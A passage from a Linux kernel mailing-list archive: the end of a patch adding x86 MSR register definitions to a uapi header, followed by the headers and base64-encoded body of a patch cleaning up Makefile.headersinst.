+#define MSR_IA32_THERM_CONTROL		0x0000019a
+#define MSR_IA32_THERM_INTERRUPT	0x0000019b
+
+#define THERM_INT_HIGH_ENABLE		(1 << 0)
+#define THERM_INT_LOW_ENABLE		(1 << 1)
+#define THERM_INT_PLN_ENABLE		(1 << 24)
+
+#define MSR_IA32_THERM_STATUS		0x0000019c
+
+#define THERM_STATUS_PROCHOT		(1 << 0)
+#define THERM_STATUS_POWER_LIMIT	(1 << 10)
+
+#define MSR_THERM2_CTL			0x0000019d
+
+#define MSR_THERM2_CTL_TM_SELECT	(1ULL << 16)
+
+#define MSR_IA32_MISC_ENABLE		0x000001a0
+
+#define MSR_IA32_TEMPERATURE_TARGET	0x000001a2
+
+#define MSR_MISC_PWR_MGMT		0x000001aa
+
+#define MSR_IA32_ENERGY_PERF_BIAS	0x000001b0
+#define ENERGY_PERF_BIAS_PERFORMANCE	0
+#define ENERGY_PERF_BIAS_NORMAL		6
+#define ENERGY_PERF_BIAS_POWERSAVE	15
+
+#define MSR_IA32_PACKAGE_THERM_STATUS		0x000001b1
+
+#define PACKAGE_THERM_STATUS_PROCHOT		(1 << 0)
+#define PACKAGE_THERM_STATUS_POWER_LIMIT	(1 << 10)
+
+#define MSR_IA32_PACKAGE_THERM_INTERRUPT	0x000001b2
+
+#define PACKAGE_THERM_INT_HIGH_ENABLE		(1 << 0)
+#define PACKAGE_THERM_INT_LOW_ENABLE		(1 << 1)
+#define PACKAGE_THERM_INT_PLN_ENABLE		(1 << 24)
+
+/* Thermal Thresholds Support */
+#define THERM_INT_THRESHOLD0_ENABLE    (1 << 15)
+#define THERM_SHIFT_THRESHOLD0        8
+#define THERM_MASK_THRESHOLD0          (0x7f << THERM_SHIFT_THRESHOLD0)
+#define THERM_INT_THRESHOLD1_ENABLE    (1 << 23)
+#define THERM_SHIFT_THRESHOLD1        16
+#define THERM_MASK_THRESHOLD1          (0x7f << THERM_SHIFT_THRESHOLD1)
+#define THERM_STATUS_THRESHOLD0        (1 << 6)
+#define THERM_LOG_THRESHOLD0           (1 << 7)
+#define THERM_STATUS_THRESHOLD1        (1 << 8)
+#define THERM_LOG_THRESHOLD1           (1 << 9)
+
+/* MISC_ENABLE bits: architectural */
+#define MSR_IA32_MISC_ENABLE_FAST_STRING_BIT		0
+#define MSR_IA32_MISC_ENABLE_FAST_STRING		(1ULL << MSR_IA32_MISC_ENABLE_FAST_STRING_BIT)
+#define MSR_IA32_MISC_ENABLE_TCC_BIT			1
+#define MSR_IA32_MISC_ENABLE_TCC			(1ULL << MSR_IA32_MISC_ENABLE_TCC_BIT)
+#define MSR_IA32_MISC_ENABLE_EMON_BIT			7
+#define MSR_IA32_MISC_ENABLE_EMON			(1ULL << MSR_IA32_MISC_ENABLE_EMON_BIT)
+#define MSR_IA32_MISC_ENABLE_BTS_UNAVAIL_BIT		11
+#define MSR_IA32_MISC_ENABLE_BTS_UNAVAIL		(1ULL << MSR_IA32_MISC_ENABLE_BTS_UNAVAIL_BIT)
+#define MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL_BIT		12
+#define MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL		(1ULL << MSR_IA32_MISC_ENABLE_PEBS_UNAVAIL_BIT)
+#define MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP_BIT	16
+#define MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP		(1ULL << MSR_IA32_MISC_ENABLE_ENHANCED_SPEEDSTEP_BIT)
+#define MSR_IA32_MISC_ENABLE_MWAIT_BIT			18
+#define MSR_IA32_MISC_ENABLE_MWAIT			(1ULL << MSR_IA32_MISC_ENABLE_MWAIT_BIT)
+#define MSR_IA32_MISC_ENABLE_LIMIT_CPUID_BIT		22
+#define MSR_IA32_MISC_ENABLE_LIMIT_CPUID		(1ULL << MSR_IA32_MISC_ENABLE_LIMIT_CPUID_BIT)
+#define MSR_IA32_MISC_ENABLE_XTPR_DISABLE_BIT		23
+#define MSR_IA32_MISC_ENABLE_XTPR_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_XTPR_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_XD_DISABLE_BIT		34
+#define MSR_IA32_MISC_ENABLE_XD_DISABLE			(1ULL << MSR_IA32_MISC_ENABLE_XD_DISABLE_BIT)
+
+/* MISC_ENABLE bits: model-specific, meaning may vary from core to core */
+#define MSR_IA32_MISC_ENABLE_X87_COMPAT_BIT		2
+#define MSR_IA32_MISC_ENABLE_X87_COMPAT			(1ULL << MSR_IA32_MISC_ENABLE_X87_COMPAT_BIT)
+#define MSR_IA32_MISC_ENABLE_TM1_BIT			3
+#define MSR_IA32_MISC_ENABLE_TM1			(1ULL << MSR_IA32_MISC_ENABLE_TM1_BIT)
+#define MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE_BIT	4
+#define MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_SPLIT_LOCK_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE_BIT	6
+#define MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_L3CACHE_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK_BIT		8
+#define MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK		(1ULL << MSR_IA32_MISC_ENABLE_SUPPRESS_LOCK_BIT)
+#define MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE_BIT	9
+#define MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_PREFETCH_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_FERR_BIT			10
+#define MSR_IA32_MISC_ENABLE_FERR			(1ULL << MSR_IA32_MISC_ENABLE_FERR_BIT)
+#define MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX_BIT		10
+#define MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX		(1ULL << MSR_IA32_MISC_ENABLE_FERR_MULTIPLEX_BIT)
+#define MSR_IA32_MISC_ENABLE_TM2_BIT			13
+#define MSR_IA32_MISC_ENABLE_TM2			(1ULL << MSR_IA32_MISC_ENABLE_TM2_BIT)
+#define MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE_BIT	19
+#define MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_ADJ_PREF_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK_BIT		20
+#define MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK		(1ULL << MSR_IA32_MISC_ENABLE_SPEEDSTEP_LOCK_BIT)
+#define MSR_IA32_MISC_ENABLE_L1D_CONTEXT_BIT		24
+#define MSR_IA32_MISC_ENABLE_L1D_CONTEXT		(1ULL << MSR_IA32_MISC_ENABLE_L1D_CONTEXT_BIT)
+#define MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE_BIT	37
+#define MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_DCU_PREF_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_TURBO_DISABLE_BIT		38
+#define MSR_IA32_MISC_ENABLE_TURBO_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_TURBO_DISABLE_BIT)
+#define MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE_BIT	39
+#define MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE		(1ULL << MSR_IA32_MISC_ENABLE_IP_PREF_DISABLE_BIT)
+
+#define MSR_IA32_TSC_DEADLINE		0x000006E0
+
+/* P4/Xeon+ specific */
+#define MSR_IA32_MCG_EAX		0x00000180
+#define MSR_IA32_MCG_EBX		0x00000181
+#define MSR_IA32_MCG_ECX		0x00000182
+#define MSR_IA32_MCG_EDX		0x00000183
+#define MSR_IA32_MCG_ESI		0x00000184
+#define MSR_IA32_MCG_EDI		0x00000185
+#define MSR_IA32_MCG_EBP		0x00000186
+#define MSR_IA32_MCG_ESP		0x00000187
+#define MSR_IA32_MCG_EFLAGS		0x00000188
+#define MSR_IA32_MCG_EIP		0x00000189
+#define MSR_IA32_MCG_RESERVED		0x0000018a
+
+/* Pentium IV performance counter MSRs */
+#define MSR_P4_BPU_PERFCTR0		0x00000300
+#define MSR_P4_BPU_PERFCTR1		0x00000301
+#define MSR_P4_BPU_PERFCTR2		0x00000302
+#define MSR_P4_BPU_PERFCTR3		0x00000303
+#define MSR_P4_MS_PERFCTR0		0x00000304
+#define MSR_P4_MS_PERFCTR1		0x00000305
+#define MSR_P4_MS_PERFCTR2		0x00000306
+#define MSR_P4_MS_PERFCTR3		0x00000307
+#define MSR_P4_FLAME_PERFCTR0		0x00000308
+#define MSR_P4_FLAME_PERFCTR1		0x00000309
+#define MSR_P4_FLAME_PERFCTR2		0x0000030a
+#define MSR_P4_FLAME_PERFCTR3		0x0000030b
+#define MSR_P4_IQ_PERFCTR0		0x0000030c
+#define MSR_P4_IQ_PERFCTR1		0x0000030d
+#define MSR_P4_IQ_PERFCTR2		0x0000030e
+#define MSR_P4_IQ_PERFCTR3		0x0000030f
+#define MSR_P4_IQ_PERFCTR4		0x00000310
+#define MSR_P4_IQ_PERFCTR5		0x00000311
+#define MSR_P4_BPU_CCCR0		0x00000360
+#define MSR_P4_BPU_CCCR1		0x00000361
+#define MSR_P4_BPU_CCCR2		0x00000362
+#define MSR_P4_BPU_CCCR3		0x00000363
+#define MSR_P4_MS_CCCR0			0x00000364
+#define MSR_P4_MS_CCCR1			0x00000365
+#define MSR_P4_MS_CCCR2			0x00000366
+#define MSR_P4_MS_CCCR3			0x00000367
+#define MSR_P4_FLAME_CCCR0		0x00000368
+#define MSR_P4_FLAME_CCCR1		0x00000369
+#define MSR_P4_FLAME_CCCR2		0x0000036a
+#define MSR_P4_FLAME_CCCR3		0x0000036b
+#define MSR_P4_IQ_CCCR0			0x0000036c
+#define MSR_P4_IQ_CCCR1			0x0000036d
+#define MSR_P4_IQ_CCCR2			0x0000036e
+#define MSR_P4_IQ_CCCR3			0x0000036f
+#define MSR_P4_IQ_CCCR4			0x00000370
+#define MSR_P4_IQ_CCCR5			0x00000371
+#define MSR_P4_ALF_ESCR0		0x000003ca
+#define MSR_P4_ALF_ESCR1		0x000003cb
+#define MSR_P4_BPU_ESCR0		0x000003b2
+#define MSR_P4_BPU_ESCR1		0x000003b3
+#define MSR_P4_BSU_ESCR0		0x000003a0
+#define MSR_P4_BSU_ESCR1		0x000003a1
+#define MSR_P4_CRU_ESCR0		0x000003b8
+#define MSR_P4_CRU_ESCR1		0x000003b9
+#define MSR_P4_CRU_ESCR2		0x000003cc
+#define MSR_P4_CRU_ESCR3		0x000003cd
+#define MSR_P4_CRU_ESCR4		0x000003e0
+#define MSR_P4_CRU_ESCR5		0x000003e1
+#define MSR_P4_DAC_ESCR0		0x000003a8
+#define MSR_P4_DAC_ESCR1		0x000003a9
+#define MSR_P4_FIRM_ESCR0		0x000003a4
+#define MSR_P4_FIRM_ESCR1		0x000003a5
+#define MSR_P4_FLAME_ESCR0		0x000003a6
+#define MSR_P4_FLAME_ESCR1		0x000003a7
+#define MSR_P4_FSB_ESCR0		0x000003a2
+#define MSR_P4_FSB_ESCR1		0x000003a3
+#define MSR_P4_IQ_ESCR0			0x000003ba
+#define MSR_P4_IQ_ESCR1			0x000003bb
+#define MSR_P4_IS_ESCR0			0x000003b4
+#define MSR_P4_IS_ESCR1			0x000003b5
+#define MSR_P4_ITLB_ESCR0		0x000003b6
+#define MSR_P4_ITLB_ESCR1		0x000003b7
+#define MSR_P4_IX_ESCR0			0x000003c8
+#define MSR_P4_IX_ESCR1			0x000003c9
+#define MSR_P4_MOB_ESCR0		0x000003aa
+#define MSR_P4_MOB_ESCR1		0x000003ab
+#define MSR_P4_MS_ESCR0			0x000003c0
+#define MSR_P4_MS_ESCR1			0x000003c1
+#define MSR_P4_PMH_ESCR0		0x000003ac
+#define MSR_P4_PMH_ESCR1		0x000003ad
+#define MSR_P4_RAT_ESCR0		0x000003bc
+#define MSR_P4_RAT_ESCR1		0x000003bd
+#define MSR_P4_SAAT_ESCR0		0x000003ae
+#define MSR_P4_SAAT_ESCR1		0x000003af
+#define MSR_P4_SSU_ESCR0		0x000003be
+#define MSR_P4_SSU_ESCR1		0x000003bf /* guess: not in manual */
+
+#define MSR_P4_TBPU_ESCR0		0x000003c2
+#define MSR_P4_TBPU_ESCR1		0x000003c3
+#define MSR_P4_TC_ESCR0			0x000003c4
+#define MSR_P4_TC_ESCR1			0x000003c5
+#define MSR_P4_U2L_ESCR0		0x000003b0
+#define MSR_P4_U2L_ESCR1		0x000003b1
+
+#define MSR_P4_PEBS_MATRIX_VERT		0x000003f2
+
+/* Intel Core-based CPU performance counters */
+#define MSR_CORE_PERF_FIXED_CTR0	0x00000309
+#define MSR_CORE_PERF_FIXED_CTR1	0x0000030a
+#define MSR_CORE_PERF_FIXED_CTR2	0x0000030b
+#define MSR_CORE_PERF_FIXED_CTR_CTRL	0x0000038d
+#define MSR_CORE_PERF_GLOBAL_STATUS	0x0000038e
+#define MSR_CORE_PERF_GLOBAL_CTRL	0x0000038f
+#define MSR_CORE_PERF_GLOBAL_OVF_CTRL	0x00000390
+
+/* Geode defined MSRs */
+#define MSR_GEODE_BUSCONT_CONF0		0x00001900
+
+/* Intel VT MSRs */
+#define MSR_IA32_VMX_BASIC              0x00000480
+#define MSR_IA32_VMX_PINBASED_CTLS      0x00000481
+#define MSR_IA32_VMX_PROCBASED_CTLS     0x00000482
+#define MSR_IA32_VMX_EXIT_CTLS          0x00000483
+#define MSR_IA32_VMX_ENTRY_CTLS         0x00000484
+#define MSR_IA32_VMX_MISC               0x00000485
+#define MSR_IA32_VMX_CR0_FIXED0         0x00000486
+#define MSR_IA32_VMX_CR0_FIXED1         0x00000487
+#define MSR_IA32_VMX_CR4_FIXED0         0x00000488
+#define MSR_IA32_VMX_CR4_FIXED1         0x00000489
+#define MSR_IA32_VMX_VMCS_ENUM          0x0000048a
+#define MSR_IA32_VMX_PROCBASED_CTLS2    0x0000048b
+#define MSR_IA32_VMX_EPT_VPID_CAP       0x0000048c
+#define MSR_IA32_VMX_TRUE_PINBASED_CTLS  0x0000048d
+#define MSR_IA32_VMX_TRUE_PROCBASED_CTLS 0x0000048e
+#define MSR_IA32_VMX_TRUE_EXIT_CTLS      0x0000048f
+#define MSR_IA32_VMX_TRUE_ENTRY_CTLS     0x00000490
+#define MSR_IA32_VMX_VMFUNC             0x00000491
+
+/* VMX_BASIC bits and bitmasks */
+#define VMX_BASIC_VMCS_SIZE_SHIFT	32
+#define VMX_BASIC_TRUE_CTLS		(1ULL << 55)
+#define VMX_BASIC_64		0x0001000000000000LLU
+#define VMX_BASIC_MEM_TYPE_SHIFT	50
+#define VMX_BASIC_MEM_TYPE_MASK	0x003c000000000000LLU
+#define VMX_BASIC_MEM_TYPE_WB	6LLU
+#define VMX_BASIC_INOUT		0x0040000000000000LLU
+
+/* MSR_IA32_VMX_MISC bits */
+#define MSR_IA32_VMX_MISC_VMWRITE_SHADOW_RO_FIELDS (1ULL << 29)
+#define MSR_IA32_VMX_MISC_PREEMPTION_TIMER_SCALE   0x1F
+/* AMD-V MSRs */
+
+#define MSR_VM_CR                       0xc0010114
+#define MSR_VM_IGNNE                    0xc0010115
+#define MSR_VM_HSAVE_PA                 0xc0010117
+
+#endif /* _UAPI_ASM_X86_MSR_INDEX_H */
-- 
2.8.1



From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 5/7] Makefile.headersinst: cleanup input files
Date: Fri,  6 Jan 2017 10:43:57 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1483695839-18660-6-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483695917 592 195.159.176.226 (6 Jan 2017 09:45:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:17 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 06 10:45:07 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR55-0007Tn-Hy
	for gcvxd-xen-devel@m.gmane.org; Fri, 06 Jan 2017 10:45:03 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR4Q-0000Pa-8j; Fri, 06 Jan 2017 09:44:22 +0000
Original-Received: from mail6.bemta3.messagelabs.com ([195.245.230.39])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cPR4O-0000Of-DD
 for xen-devel@lists.xenproject.org; Fri, 06 Jan 2017 09:44:20 +0000
Original-Received: from [85.158.137.68] by server-16.bemta-3.messagelabs.com id
 94/AB-03637-3F66F685; Fri, 06 Jan 2017 09:44:19 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrMLMWRWlGSWpSXmKPExsViJz7RR/dzWn6
 EwYwLbBbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8aOk49ZCpaIV7xvbmRvYNwo1MXIxSEkMJtR
 4uacX8wQznJGieOLjjJ1MXJysAkYSmw4/4iti5GDQ0RAUKL1nyZIDbPAQS6JYxtWMYPUCAs4S
 mydNocdxGYRUJXofTgNrJdXwFPi/+nFjCC2hICcxOXpD9hAbE4BL4mjp+eB9QoJVEs0bmtmmc
 DIvYCRYRWjRnFqUVlqka6RkV5SUWZ6RkluYmaOrqGBsV5uanFxYnpqTmJSsV5yfu4mRqCH6xk
 YGHcwTj3hd4hRkoNJSZQ3zDE/QogvKT+lMiOxOCO+qDQntfgQowwHh5IE78dUoJxgUWp6akVa
 Zg4w1GDSEhw8SiK8XMBwE+ItLkjMLc5Mh0idYtTlWLN5x1MmIZa8/LxUKXHeTSAzBECKMkrz4
 EbAwv4So6yUMC8jAwODEE9BalFuZgmq/CtGcQ5GJWFeHpBVPJl5JXCbXgEdwQR0hKAn2BEliQ
 gpqQbGiRMi8lW/Va53CbzkM/9i/KW7u66tWrVNeZ2r1Ib599/syJzqOuNB0x7eEnfZHxNf8qY
 27C2e8OXm7NeV/JLxYau/7bNdJZ41yTvwUefKG+FntsybceWkk2/SbcXtWrq6Nv+ZuZZwfZrL
 +XXlxKubbLVCRSItkr+4P313pqdRpULmg5Mx268NX5RYijMSDbWYi4oTAZYtkht2AgAA
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-5.tower-31.messagelabs.com!1483695857!76044544!2
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 50582 invoked from network); 6 Jan 2017 09:44:19 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-5.tower-31.messagelabs.com with SMTP; 6 Jan 2017 09:44:19 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 37861254EE;
 Fri,  6 Jan 2017 10:44:09 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sl-7E; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:314849 gmane.linux.ports.mips.general:57377 gmane.linux.alsa.devel:162876 gmane.linux.ports.ia64:27524 gmane.linux.documentation:44043 gmane.comp.video.dri.devel:175522 gmane.linux.drivers.mtd:71097 gmane.linux.ports.sparc:24268 gmane.linux.kernel.cross-arch:34664 gmane.linux.drivers.rdma:45164 gmane.linux.ports.hexagon:1073 gmane.linux.ports.sh.devel:54909 gmane.linux.scsi.open-fcoe.devel:12986 gmane.linux.kernel.arc:1967 gmane.linux.drivers.video-input-infrastructure:111662 gmane.linux.kbuild.devel:16252 gmane.linux.raid:55279 gmane.linux.kernel.metag:1200 gmane.linux.ports.arm.kernel:548346 gmane.linux.nfs:81285 gmane.linux.ports.parisc:27148 gmane.linux.network:448448 gmane.linux.kernel.mmc:41936 gmane.linux.kernel:2381508 gmane.linux.kernel.spi.devel:26045 gmane.comp.security.firewalls.netfilter.devel:66781 gmane.linux.ports.alpha:3997 gmane.linux.ports.ppc64.devel:137022
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/314849>

QWZ0ZXIgdGhlIGxhc3QgZm91ciBwYXRjaGVzLCBhbGwgZXhwb3J0ZWQgaGVhZGVycyBhcmUgdW5k
ZXIgdWFwaS8sIHRodXMKaW5wdXQtZmlsZXMyIGFyZSBub3QgbmVlZGVkIGFueW1vcmUuClRoZSBz
aWRlIGVmZmVjdCBpcyB0aGF0IGlucHV0LWZpbGVzMS1uYW1lIGlzIGV4YWN0bHkgaGVhZGVyLXku
CgpOb3RlIGFsc28gdGhhdCB1bnB1dC1maWxlczMtbmFtZSBpcyBnZW5oZHIteS4KClNpZ25lZC1v
ZmYtYnk6IE5pY29sYXMgRGljaHRlbCA8bmljb2xhcy5kaWNodGVsQDZ3aW5kLmNvbT4KLS0tCiBz
Y3JpcHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0IHwgMzQgKysrKysrKysrKystLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQogMSBmaWxlIGNoYW5nZWQsIDExIGluc2VydGlvbnMoKyksIDIzIGRlbGV0aW9u
cygtKQoKZGlmZiAtLWdpdCBhL3NjcmlwdHMvTWFrZWZpbGUuaGVhZGVyc2luc3QgYi9zY3JpcHRz
L01ha2VmaWxlLmhlYWRlcnNpbnN0CmluZGV4IDExMDZkNmNhM2EzOC4uM2UyMGQwMzQzMmQyIDEw
MDY0NAotLS0gYS9zY3JpcHRzL01ha2VmaWxlLmhlYWRlcnNpbnN0CisrKyBiL3NjcmlwdHMvTWFr
ZWZpbGUuaGVhZGVyc2luc3QKQEAgLTQwLDMxICs0MCwyMCBAQCB3cmFwcGVyLWZpbGVzIDo9ICQo
ZmlsdGVyICQoaGVhZGVyLXkpLCAkKGdlbmVyaWMteSkpCiBzcmNkaXIgICAgICAgIDo9ICQoc3Jj
dHJlZSkvJChvYmopCiBnZW5kaXIgICAgICAgIDo9ICQob2JqdHJlZSkvJChnZW4pCiAKLW9sZHNy
Y2RpciAgICAgOj0gJChzcmN0cmVlKS8kKHN1YnN0IC91YXBpLCwkKG9iaikpCi0KICMgYWxsIGhl
YWRlcnMgZmlsZXMgZm9yIHRoaXMgZGlyCiBoZWFkZXIteSAgICAgIDo9ICQoZmlsdGVyLW91dCAk
KGdlbmVyaWMteSksICQoaGVhZGVyLXkpKQogYWxsLWZpbGVzICAgICA6PSAkKGhlYWRlci15KSAk
KGdlbmhkci15KSAkKHdyYXBwZXItZmlsZXMpCiBvdXRwdXQtZmlsZXMgIDo9ICQoYWRkcHJlZml4
ICQoaW5zdGFsbGRpcikvLCAkKGFsbC1maWxlcykpCiAKLWlucHV0LWZpbGVzMSAgOj0gJChmb3Jl
YWNoIGhkciwgJChoZWFkZXIteSksIFwKLQkJICAgJChpZiAkKHdpbGRjYXJkICQoc3JjZGlyKS8k
KGhkcikpLCBcCi0JCQkkKHdpbGRjYXJkICQoc3JjZGlyKS8kKGhkcikpKSBcCi0JCSAgICkKLWlu
cHV0LWZpbGVzMS1uYW1lIDo9ICQobm90ZGlyICQoaW5wdXQtZmlsZXMxKSkKLWlucHV0LWZpbGVz
MiAgOj0gJChmb3JlYWNoIGhkciwgJChoZWFkZXIteSksIFwKLQkJICAgJChpZiAgJCh3aWxkY2Fy
ZCAkKHNyY2RpcikvJChoZHIpKSwsIFwKLQkJCSQoaWYgJCh3aWxkY2FyZCAkKG9sZHNyY2Rpcikv
JChoZHIpKSwgXAotCQkJCSQod2lsZGNhcmQgJChvbGRzcmNkaXIpLyQoaGRyKSksIFwKLQkJCQkk
KGVycm9yIE1pc3NpbmcgVUFQSSBmaWxlICQoc3JjZGlyKS8kKGhkcikpKSBcCi0JCSAgICkpCi1p
bnB1dC1maWxlczItbmFtZSA6PSAkKG5vdGRpciAkKGlucHV0LWZpbGVzMikpCi1pbnB1dC1maWxl
czMgIDo9ICQoZm9yZWFjaCBoZHIsICQoZ2VuaGRyLXkpLCBcCi0JCSAgICQoaWYJJCh3aWxkY2Fy
ZCAkKGdlbmRpcikvJChoZHIpKSwgXAotCQkJJCh3aWxkY2FyZCAkKGdlbmRpcikvJChoZHIpKSwg
XAotCQkJJChlcnJvciBNaXNzaW5nIGdlbmVyYXRlZCBVQVBJIGZpbGUgJChnZW5kaXIpLyQoaGRy
KSkgXAotCQkgICApKQotaW5wdXQtZmlsZXMzLW5hbWUgOj0gJChub3RkaXIgJChpbnB1dC1maWxl
czMpKQorIyBDaGVjayB0aGF0IGFsbCBleHBlY3RlZCBmaWxlcyBleGlzdAorJChmb3JlYWNoIGhk
ciwgJChoZWFkZXIteSksIFwKKyAgJChpZiAkKHdpbGRjYXJkICQoc3JjZGlyKS8kKGhkcikpLCwg
XAorICAgICAgICQoZXJyb3IgTWlzc2luZyBVQVBJIGZpbGUgJChzcmNkaXIpLyQoaGRyKSkgXAor
ICAgKSkKKyQoZm9yZWFjaCBoZHIsICQoZ2VuaGRyLXkpLCBcCisgICQoaWYJJCh3aWxkY2FyZCAk
KGdlbmRpcikvJChoZHIpKSwsIFwKKyAgICAgICAkKGVycm9yIE1pc3NpbmcgZ2VuZXJhdGVkIFVB
UEkgZmlsZSAkKGdlbmRpcikvJChoZHIpKSBcCisgICkpCiAKICMgV29yayBvdXQgd2hhdCBuZWVk
cyB0byBiZSByZW1vdmVkCiBvbGRoZWFkZXJzICAgIDo9ICQocGF0c3Vic3QgJChpbnN0YWxsZGly
KS8lLCUsJCh3aWxkY2FyZCAkKGluc3RhbGxkaXIpLyouaCkpCkBAIC03OCw5ICs2Nyw4IEBAIHBy
aW50ZGlyID0gJChwYXRzdWJzdCAkKElOU1RBTExfSERSX1BBVEgpLyUvLCUsJChkaXIgJEApKQog
